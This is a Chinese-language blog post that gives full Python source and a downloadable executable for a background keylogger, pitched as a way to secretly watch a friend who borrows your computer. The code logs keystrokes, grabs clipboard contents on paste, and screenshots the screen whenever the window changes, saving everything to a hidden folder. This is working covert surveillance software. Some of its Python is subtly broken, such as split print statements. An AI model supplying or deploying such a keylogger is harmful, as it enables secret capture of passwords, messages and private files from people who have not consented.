相关阅读

之前我们分享过使用Python编写监听键盘的小技巧

想要监控键盘?Python搞定!附视频体验和软件-自由者联盟

同时也欢迎大家多多学习、研究Python代码

【视频学习】10天零基础搞定Python-自由者联盟

前言

很多同学反馈自己在学校借电脑给朋友用,却不放心朋友会不会偷看你的隐私文件?

这次我们分享一个Python代码,只要在后台启用了该程序,便会监听记录键盘的按键信息和粘贴复制事件,同时会保存日志到程序目录下的Monitor文件夹里;

而且最强大的是,它还会在窗口焦点改变时,自动全屏截图并保存到Monitor目录下的img文件夹里。

现在,你可以在后台运行此程序,把电脑借给朋友,测试一下他吧!

视频演示

图文展示

  • 启用monitor.exe程序
图片[1]-电脑借人怕被偷看隐私文件?Python教你后台监控!-FancyPig's blog

  • 然后在Monitor文件夹下log.txt可以看到键盘记录以及粘贴内容
图片[2]-电脑借人怕被偷看隐私文件?Python教你后台监控!-FancyPig's blog
图片[3]-电脑借人怕被偷看隐私文件?Python教你后台监控!-FancyPig's blog
  • Img目录下只要出现窗口切换的情况,会进行截屏

命名方式会以日期时间作为参考

图片[4]-电脑借人怕被偷看隐私文件?Python教你后台监控!-FancyPig's blog

然后就可以找到一些证据了

图片[5]-电脑借人怕被偷看隐私文件?Python教你后台监控!-FancyPig's blog

例如这里打开记事本复制并粘贴了某些内容

图片[6]-电脑借人怕被偷看隐私文件?Python教你后台监控!-FancyPig's blog
  • 如何退出程序

记得打开任务管理器,杀掉monitor.exe

工具下载

Python代码使用

Python版本要求

Python建议使用2.7版本

我自己使用的是3.7版本

依赖模块

需要依赖pywin32pyHookPillow模块

pip install .\pyHook-1.5.1-cp37-cp37m-win_amd64.whl
  • pywin32、Pillow模块
pip install pywin32
pip install Pillow

相关代码

from ctypes import *
import pythoncom
import pyHook
import win32clipboard
import win32gui
import win32ui
import win32con
import win32api
import time
import os
import os.path
from PIL import Image
import sys


def restart_program():  # 重启程序
    python = sys.executable
    os.execl(python, python, *sys.argv)


def window_capture(dpath):
    '''''
截屏函数,调用方法window_capture('d:\\') ,参数为指定保存的目录
返回图片文件名,文件名格式:日期.jpg 如:2009328224853.jpg
    '''
    hwnd = 0
    hwndDC = win32gui.GetWindowDC(hwnd)
    mfcDC = win32ui.CreateDCFromHandle(hwndDC)
    saveDC = mfcDC.CreateCompatibleDC()
    saveBitMap = win32ui.CreateBitmap()
    MoniterDev = win32api.EnumDisplayMonitors(None, None)
    w = MoniterDev[0][2][2]
    h = MoniterDev[0][2][3]
    # print w,h   #图片大小
    saveBitMap.CreateCompatibleBitmap(mfcDC, w, h)
    saveDC.SelectObject(saveBitMap)
    saveDC.BitBlt((0, 0), (w, h), mfcDC, (0, 0), win32con.SRCCOPY)
    time_temp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
    a1 = str(time_temp)[0:4]
    a2 = str(time_temp)[5:7]
    a3 = str(time_temp)[8:10]
    a4 = str(time_temp)[11:13]
    a5 = str(time_temp)[14:16]
    a6 = str(time_temp)[17:19]
    now_time = (a1 + a2 + a3 + a4 + a5 + a6)
    bmpname = now_time + '.bmp'
    saveBitMap.SaveBitmapFile(saveDC, bmpname)
    Image.open(bmpname).save(bmpname[:-4] + ".jpg")
    os.remove(bmpname)
    jpgname = bmpname[:-4] + '.jpg'
    djpgname = dpath + jpgname
    copy_command = "move %s %s" % (jpgname, djpgname)
    os.popen(copy_command)
    return bmpname[:-4] + '.jpg'


user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None


def get_current_process():
    time_temp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
    with open('.//Monitor//log.txt', 'a') as f:
        # 获取最上层的窗口句柄
        hwnd = user32.GetForegroundWindow()
        # 获取进程id
        pid = c_ulong(0)
        user32.GetWindowThreadProcessId(hwnd, byref(pid))
        # 将进程id存入变量中
        process_id = '%s' % pid.value
        # 申请内存
        executable = create_string_buffer('\x00' * 512)
        h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
        psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
        # 读取窗口标题
        windows_title = create_string_buffer('\x00' * 512)
        length = user32.GetWindowTextA(hwnd, byref(windows_title), 512)
        # 打印
        a1 = '[PID:%s - %s - %s]' % (process_id, executable.value, windows_title.value)
        print
        time_temp + ':' + a1 + '\r\n'
        f.write(time_temp + ':' + a1 + '\r\n')
        window_capture('.//Monitor//img//')
        # 关闭handles
        kernel32.CloseHandle(hwnd)
        kernel32.CloseHandle(h_process)


# 定义击键监听事件函数
def KeyStroke(event):
    global current_window
    time_temp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
    # a1 = str(time_temp)[0:4]
    # a2 = str(time_temp)[5:7]
    # a3 = str(time_temp)[8:10]
    # a4 = str(time_temp)[11:13]
    # a5 = str(time_temp)[14:16]
    # a6 = str(time_temp)[17:19]
    # now_time = (a1+a2+a3+a4+a5+a6)
    with open('.//Monitor//log.txt', 'a') as f:
        # 检测目标窗口是否转换(换了其它窗口就监听新的窗口)
        if event.WindowName != current_window:
            current_window = event.WindowName
            # 函数调用
            get_current_process()

        # 检测击键是否常规按键(非组合键等)
        if event.Ascii > 32 and event.Ascii < 127:
            a2 = chr(event.Ascii)
            print
            time_temp + ':[常规按键] ' + a2 + '\r\n'
            f.write(time_temp + ':[常规按键] ' + a2 + '\r\n')
        else:
            # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
            if event.Key == 'V':
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                # 乱码的原因是复制的时候,使用的是英文输入法。

                # 解决方法:http://bbs.csdn.net/topics/80362400 [10楼]
                a3 = ' [键盘Ctrl+v粘贴事件,内容如下]\r\n%s' % pasted_value
                print
                time_temp + a3 + '\r\n'
                f.write(time_temp + ':' + a3 + '\r\n')
            else:
                a4 = "[%s]" % event.Key
                print
                time_temp + ':[特殊按键] ' + a4 + '\r\n'
                f.write(time_temp + ':[特殊按键] ' + a4 + '\r\n')
        # 循环监听下一个击键事件
        return True


if not os.path.exists('.//Monitor//img'):
    os.makedirs('.//Monitor//img')
else:
    pass

# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke

# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
  • 未完待续

后面我补充一个完整打包的教程,敬请期待

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容